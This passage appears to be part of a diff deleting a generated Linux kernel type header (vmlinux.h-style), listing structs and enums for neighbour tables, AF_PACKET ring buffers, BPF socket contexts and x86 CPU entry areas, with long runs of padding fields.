NDTA_STATS = 7, - NDTA_GC_INTERVAL = 8, - NDTA_PAD = 9, - __NDTA_MAX = 10, -}; - -struct rtgenmsg { - unsigned char rtgen_family; -}; - -enum { - NEIGH_ARP_TABLE = 0, - NEIGH_ND_TABLE = 1, - NEIGH_DN_TABLE = 2, - NEIGH_NR_TABLES = 3, - NEIGH_LINK_TABLE = 3, -}; - -struct neigh_seq_state { - struct seq_net_private p; - struct neigh_table *tbl; - struct neigh_hash_table *nht; - void * (*neigh_sub_iter)(struct neigh_seq_state *, struct neighbour *, loff_t *); - unsigned int bucket; - unsigned int flags; -}; - -struct neighbour_cb { - long unsigned int sched_next; - unsigned int flags; -}; - -enum netevent_notif_type { - NETEVENT_NEIGH_UPDATE = 1, - NETEVENT_REDIRECT = 2, - NETEVENT_DELAY_PROBE_TIME_UPDATE = 3, - NETEVENT_IPV4_MPATH_HASH_UPDATE = 4, - NETEVENT_IPV6_MPATH_HASH_UPDATE = 5, - NETEVENT_IPV4_FWD_UPDATE_PRIORITY_UPDATE = 6, -}; - -struct neigh_dump_filter { - int master_idx; - int dev_idx; -}; - -struct neigh_sysctl_table { - struct ctl_table_header *sysctl_header; - struct ctl_table neigh_vars[22]; -}; - -struct net_proto_family { - int family; - int (*create)(struct net *, struct socket *, int, int); - struct module *owner; -}; - -struct flow_dissector_key_control { - u16 thoff; - u16 addr_type; - u32 flags; -}; - -struct flow_dissector_key_basic { - __be16 n_proto; - u8 ip_proto; - u8 padding; -}; - -struct flow_dissector { - unsigned int used_keys; - short unsigned int offset[31]; -}; - -struct flow_keys_basic { - struct flow_dissector_key_control control; - struct flow_dissector_key_basic basic; -}; - -struct bpf_flow_keys { - __u16 nhoff; - __u16 thoff; - __u16 addr_proto; - __u8 is_frag; - __u8 is_first_frag; - __u8 is_encap; - __u8 ip_proto; - __be16 n_proto; - __be16 sport; - __be16 dport; - union { - struct { - __be32 ipv4_src; - __be32 ipv4_dst; - }; - struct { - __u32 ipv6_src[4]; - __u32 ipv6_dst[4]; - }; - }; - __u32 flags; - __be32 flow_label; -}; - -struct sockaddr_pkt { - short unsigned int spkt_family; - unsigned char spkt_device[14]; - __be16 spkt_protocol; -}; - -struct sockaddr_ll { - short unsigned int sll_family; - __be16 sll_protocol; - int sll_ifindex; - short unsigned int sll_hatype; - unsigned char sll_pkttype; - unsigned char sll_halen; - unsigned char sll_addr[8]; -}; - -struct tpacket_stats { - unsigned int tp_packets; - unsigned int tp_drops; -}; - -struct tpacket_stats_v3 { - unsigned int tp_packets; - unsigned int tp_drops; - unsigned int tp_freeze_q_cnt; -}; - -struct tpacket_rollover_stats { - __u64 tp_all; - __u64 tp_huge; - __u64 tp_failed; -}; - -union tpacket_stats_u { - struct tpacket_stats stats1; - struct tpacket_stats_v3 stats3; -}; - -struct tpacket_auxdata { - __u32 tp_status; - __u32 tp_len; - __u32 tp_snaplen; - __u16 tp_mac; - __u16 tp_net; - __u16 tp_vlan_tci; - __u16 tp_vlan_tpid; -}; - -struct tpacket_hdr { - long unsigned int tp_status; - unsigned int tp_len; - unsigned int tp_snaplen; - short unsigned int tp_mac; - short unsigned int tp_net; - unsigned int tp_sec; - unsigned int tp_usec; -}; - -struct tpacket2_hdr { - __u32 tp_status; - __u32 tp_len; - __u32 tp_snaplen; - __u16 tp_mac; - __u16 tp_net; - __u32 tp_sec; - __u32 tp_nsec; - __u16 tp_vlan_tci; - __u16 tp_vlan_tpid; - __u8 tp_padding[4]; -}; - -struct tpacket_hdr_variant1 { - __u32 tp_rxhash; - __u32 tp_vlan_tci; - __u16 tp_vlan_tpid; - __u16 tp_padding; -}; - -struct tpacket3_hdr { - __u32 tp_next_offset; - __u32 tp_sec; - __u32 tp_nsec; - __u32 tp_snaplen; - __u32 tp_len; - __u32 tp_status; - __u16 tp_mac; - __u16 tp_net; - union { - struct tpacket_hdr_variant1 hv1; - }; - __u8 tp_padding[8]; -}; - -struct tpacket_bd_ts { - unsigned int ts_sec; - union { - unsigned int ts_usec; - unsigned int ts_nsec; - }; -}; - -struct tpacket_hdr_v1 { - __u32 block_status; - __u32 num_pkts; - __u32 offset_to_first_pkt; - __u32 blk_len; - __u64 seq_num; - struct tpacket_bd_ts ts_first_pkt; - struct tpacket_bd_ts ts_last_pkt; -}; - -union tpacket_bd_header_u { - struct tpacket_hdr_v1 bh1; -}; - -struct tpacket_block_desc { - __u32 version; - __u32 offset_to_priv; - union tpacket_bd_header_u hdr; -}; - -enum tpacket_versions { - TPACKET_V1 = 0, - TPACKET_V2 = 1, - TPACKET_V3 = 2, -}; - -struct tpacket_req { - unsigned int tp_block_size; - unsigned int tp_block_nr; - unsigned int tp_frame_size; - unsigned int tp_frame_nr; -}; - -struct tpacket_req3 { - unsigned int tp_block_size; - unsigned int tp_block_nr; - unsigned int tp_frame_size; - unsigned int tp_frame_nr; - unsigned int tp_retire_blk_tov; - unsigned int tp_sizeof_priv; - unsigned int tp_feature_req_word; -}; - -union tpacket_req_u { - struct tpacket_req req; - struct tpacket_req3 req3; -}; - -struct fanout_args { - __u16 id; - __u16 type_flags; - __u32 max_num_members; -}; - -enum { - SKBTX_HW_TSTAMP = 1, - SKBTX_SW_TSTAMP = 2, - SKBTX_IN_PROGRESS = 4, - SKBTX_HW_TSTAMP_USE_CYCLES = 8, - SKBTX_WIFI_STATUS = 16, - SKBTX_HW_TSTAMP_NETDEV = 32, - SKBTX_SCHED_TSTAMP = 64, -}; - -enum { - SKBFL_ZEROCOPY_ENABLE = 1, - SKBFL_SHARED_FRAG = 2, - SKBFL_PURE_ZEROCOPY = 4, - SKBFL_DONT_ORPHAN = 8, - SKBFL_MANAGED_FRAG_REFS = 16, -}; - -struct bpf_sock { - __u32 bound_dev_if; - __u32 family; - __u32 type; - __u32 protocol; - __u32 mark; - __u32 priority; - __u32 src_ip4; - __u32 src_ip6[4]; - __u32 src_port; - __be16 dst_port; - __u32 dst_ip4; - __u32 dst_ip6[4]; - __u32 state; - __s32 rx_queue_mapping; -}; - -struct __sk_buff { - __u32 len; - __u32 pkt_type; - __u32 mark; - __u32 queue_mapping; - __u32 protocol; - __u32 vlan_present; - __u32 vlan_tci; - __u32 vlan_proto; - __u32 priority; - __u32 ingress_ifindex; - __u32 ifindex; - __u32 tc_index; - __u32 cb[5]; - __u32 hash; - __u32 tc_classid; - __u32 data; - __u32 data_end; - __u32 napi_id; - __u32 family; - __u32 remote_ip4; - __u32 local_ip4; - __u32 remote_ip6[4]; - __u32 local_ip6[4]; - __u32 remote_port; - __u32 local_port; - __u32 data_meta; - union { - struct bpf_flow_keys *flow_keys; - }; - __u64 tstamp; - __u32 wire_len; - __u32 gso_segs; - union { - struct bpf_sock *sk; - }; - __u32 gso_size; - __u8 tstamp_type; - __u64 hwtstamp; -}; - -struct sock_fprog { - short unsigned int len; - struct sock_filter *filter; -}; - -enum nf_dev_hooks { - NF_NETDEV_INGRESS = 0, - NF_NETDEV_EGRESS = 1, - NF_NETDEV_NUMHOOKS = 2, -}; - -struct packet_type { - __be16 type; - bool ignore_outgoing; - struct net_device *dev; - netdevice_tracker dev_tracker; - int (*func)(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); - void (*list_func)(struct list_head *, struct packet_type *, struct net_device *); - bool (*id_match)(struct packet_type *, struct sock *); - struct net *af_packet_net; - void *af_packet_priv; - struct list_head list; -}; - -typedef int (*bpf_aux_classic_check_t)(struct sock_filter *, unsigned int); - -struct sock_skb_cb { - u32 dropcount; -}; - -enum ip_defrag_users { - IP_DEFRAG_LOCAL_DELIVER = 0, - IP_DEFRAG_CALL_RA_CHAIN = 1, - IP_DEFRAG_CONNTRACK_IN = 2, - __IP_DEFRAG_CONNTRACK_IN_END = 65537, - IP_DEFRAG_CONNTRACK_OUT = 65538, - __IP_DEFRAG_CONNTRACK_OUT_END = 131073, - IP_DEFRAG_CONNTRACK_BRIDGE_IN = 131074, - __IP_DEFRAG_CONNTRACK_BRIDGE_IN = 196609, - IP_DEFRAG_VS_IN = 196610, - IP_DEFRAG_VS_OUT = 196611, - IP_DEFRAG_VS_FWD = 196612, - IP_DEFRAG_AF_PACKET = 196613, - IP_DEFRAG_MACVLAN = 196614, -}; - -typedef __u16 __virtio16; - -struct virtio_net_hdr { - __u8 flags; - __u8 gso_type; - __virtio16 hdr_len; - __virtio16 gso_size; - __virtio16 csum_start; - __virtio16 csum_offset; -}; - -struct packet_mclist { - struct packet_mclist *next; - int ifindex; - int count; - short unsigned int type; - short unsigned int alen; - unsigned char addr[32]; -}; - -struct pgv; - -struct tpacket_kbdq_core { - struct pgv *pkbdq; - unsigned int feature_req_word; - unsigned int hdrlen; - unsigned char reset_pending_on_curr_blk; - unsigned char delete_blk_timer; - short unsigned int kactive_blk_num; - short unsigned int blk_sizeof_priv; - short unsigned int last_kactive_blk_num; - char *pkblk_start; - char *pkblk_end; - int kblk_size; - unsigned int max_frame_len; - unsigned int knum_blocks; - uint64_t knxt_seq_num; - char *prev; - char *nxt_offset; - struct sk_buff *skb; - rwlock_t blk_fill_in_prog_lock; - short unsigned int retire_blk_tov; - short unsigned int version; - long unsigned int tov_in_jiffies; - struct timer_list retire_blk_timer; -}; - -struct pgv { - char *buffer; -}; - -struct packet_ring_buffer { - struct pgv *pg_vec; - unsigned int head; - unsigned int frames_per_block; - unsigned int frame_size; - unsigned int frame_max; - unsigned int pg_vec_order; - unsigned int pg_vec_pages; - unsigned int pg_vec_len; - unsigned int *pending_refcnt; - union { - long unsigned int *rx_owner_map; - struct tpacket_kbdq_core prb_bdqc; - }; -}; - -struct packet_fanout { - possible_net_t net; - unsigned int num_members; - u32 max_num_members; - u16 id; - u8 type; - u8 flags; - union { - atomic_t rr_cur; - struct bpf_prog *bpf_prog; - }; - struct list_head list; - spinlock_t lock; - refcount_t sk_ref; - long: 64; - struct packet_type prot_hook; - struct sock *arr[0]; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct packet_rollover { - int sock; - atomic_long_t num; - atomic_long_t num_huge; - atomic_long_t num_failed; - long: 64; - long: 64; - long: 64; - long: 64; - u32 history[16]; -}; - -struct packet_sock { - struct sock sk; - struct packet_fanout *fanout; - union tpacket_stats_u stats; - struct packet_ring_buffer rx_ring; - struct packet_ring_buffer tx_ring; - int copy_thresh; - spinlock_t bind_lock; - struct mutex pg_vec_lock; - unsigned int running; - unsigned int auxdata: 1; - unsigned int origdev: 1; - unsigned int has_vnet_hdr: 1; - unsigned int tp_loss: 1; - unsigned int tp_tx_has_off: 1; - int pressure; - int ifindex; - __be16 num; - struct packet_rollover *rollover; - struct packet_mclist *mclist; - atomic_t mapped; - enum tpacket_versions tp_version; - unsigned int tp_hdrlen; - unsigned int tp_reserve; - unsigned int tp_tstamp; - struct completion skb_completion; - struct net_device *cached_dev; - int (*xmit)(struct sk_buff *); - long: 64; - long: 64; - long: 64; - struct packet_type prot_hook; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - atomic_t tp_drops; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct packet_mreq_max { - int mr_ifindex; - short unsigned int mr_type; - short unsigned int mr_alen; - unsigned char mr_address[32]; -}; - -union tpacket_uhdr { - struct tpacket_hdr *h1; - struct tpacket2_hdr *h2; - struct tpacket3_hdr *h3; - void *raw; -}; - -struct packet_skb_cb { - union { - struct sockaddr_pkt pkt; - union { - unsigned int origlen; - struct sockaddr_ll ll; - }; - } sa; -}; - -enum umh_disable_depth { - UMH_ENABLED = 0, - UMH_FREEZING = 1, - UMH_DISABLED = 2, -}; - -struct hash { - int ino; - int minor; - int major; - umode_t mode; - struct hash *next; - char name[4098]; -}; - -struct dir_entry { - struct list_head list; - time64_t mtime; - char name[0]; -}; - -enum state { - Start = 0, - Collect = 1, - GotHeader = 2, - SkipIt = 3, - GotName = 4, - CopyFile = 5, - GotSymlink = 6, - Reset = 7, -}; - -enum cc_attr { - CC_ATTR_MEM_ENCRYPT = 0, - CC_ATTR_HOST_MEM_ENCRYPT = 1, - CC_ATTR_GUEST_MEM_ENCRYPT = 2, - CC_ATTR_GUEST_STATE_ENCRYPT = 3, - CC_ATTR_GUEST_UNROLL_STRING_IO = 4, - CC_ATTR_GUEST_SEV_SNP = 5, - CC_ATTR_HOTPLUG_DISABLED = 6, -}; - -struct x86_hw_tss { - u32 reserved1; - u64 sp0; - u64 sp1; - u64 sp2; - u64 reserved2; - u64 ist[7]; - u32 reserved3; - u32 reserved4; - u16 reserved5; - u16 io_bitmap_base; -} __attribute__((packed)); - -struct entry_stack { - char stack[4096]; -}; - -struct entry_stack_page { - struct entry_stack stack; -}; - -struct x86_io_bitmap { - u64 prev_sequence; - unsigned int prev_max; - long unsigned int bitmap[1025]; - long unsigned int mapall[1025]; -}; - -struct tss_struct { - struct x86_hw_tss x86_tss; - struct x86_io_bitmap io_bitmap; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct debug_store { - u64 bts_buffer_base; - u64 bts_index; - u64 bts_absolute_maximum; - u64 bts_interrupt_threshold; - u64 pebs_buffer_base; - u64 pebs_index; - u64 pebs_absolute_maximum; - u64 pebs_interrupt_threshold; - u64 pebs_event_reset[48]; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct debug_store_buffers { - char bts_buffer[65536]; - char pebs_buffer[65536]; -}; - -struct exception_stacks { - char DF_stack_guard[0]; - char DF_stack[8192]; - char NMI_stack_guard[0]; - char NMI_stack[8192]; - char DB_stack_guard[0]; - char DB_stack[8192]; - char MCE_stack_guard[0]; - char MCE_stack[8192]; - char VC_stack_guard[0]; - char VC_stack[0]; - char VC2_stack_guard[0]; - char VC2_stack[0]; - char IST_top_guard[0]; -}; - -struct cea_exception_stacks { - char DF_stack_guard[4096]; - char DF_stack[8192]; - char NMI_stack_guard[4096]; - char NMI_stack[8192]; - char DB_stack_guard[4096]; - char DB_stack[8192]; - char MCE_stack_guard[4096]; - char MCE_stack[8192]; - char VC_stack_guard[4096]; - char VC_stack[8192]; - char VC2_stack_guard[4096]; - char VC2_stack[8192]; - char IST_top_guard[4096]; -}; - -struct cpu_entry_area { - char gdt[4096]; - struct entry_stack_page entry_stack_page; - struct tss_struct tss; - struct cea_exception_stacks estacks; - struct debug_store cpu_debug_store; - struct debug_store_buffers cpu_debug_buffers; -}; - -struct gdt_page { - struct desc_struct gdt[16]; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 